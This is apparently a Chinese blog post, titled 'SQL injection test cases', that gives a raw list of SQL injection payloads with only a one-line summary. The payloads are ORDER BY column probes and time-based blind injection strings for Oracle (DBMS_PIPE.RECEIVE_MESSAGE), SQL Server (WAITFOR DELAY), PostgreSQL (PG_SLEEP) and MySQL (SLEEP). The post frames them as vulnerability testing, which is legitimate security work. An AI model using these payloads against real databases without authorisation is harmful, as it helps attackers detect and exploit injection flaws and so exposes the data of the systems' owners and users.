sql注入测试用例

最新推荐文章于 2024-11-14 00:00:17 发布

信安成长日记

最新推荐文章于 2024-11-14 00:00:17 发布

阅读量764

点赞数

CC 4.0 BY-SA版权

分类专栏：安全研发文章标签： sql 数据库

本文链接：https://blog.youkuaiyun.com/SHELLCODE_8BIT/article/details/128948726

安全研发专栏收录该内容

443 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

文章展示了多个涉及SQL查询的命令片段，包括ORDERBY、DBMS_PIPE的RECEIVE_MESSAGE函数以及PG_SLEEP和SLEEP函数的使用，这些通常与SQL注入攻击有关，用于测试系统漏洞。

ORDER BY 5872-- BpeK	
') ORDER BY 5980-- rxot	
OR 5068=DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)	
' OR 5068=DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)	
OR 5068=DBMS_PIPE.RECEIVE_MESSAGE(CHR(81),5)	
' AND 6867=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99),5) AND 'oaWq' = 'oaWq	
AND 6867=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99),5)	
WAITFOR DELAY '0:0:5'-- ncIC	
' WAITFOR DELAY '0:0:5' AND 'XdDV'='XdDV	
' OR 3037=(SELECT 3037 FROM PG_SLEEP(5)) AND 'bbVO'='bbVO	
AND 2175=(SELECT 2175 FROM PG_SLEEP(5))-- WtXC	
OR (SELECT 7765 FROM (SELECT(SLEEP(5)))ZESJ)-- gDCN	
' OR (SELECT 7765 FROM (SELECT(SLEEP(5)))ZESJ) AND 'EZEr'='EZEr	
OR (SELECT 7765 FROM (SELECT(SLEEP(5)))ZESJ)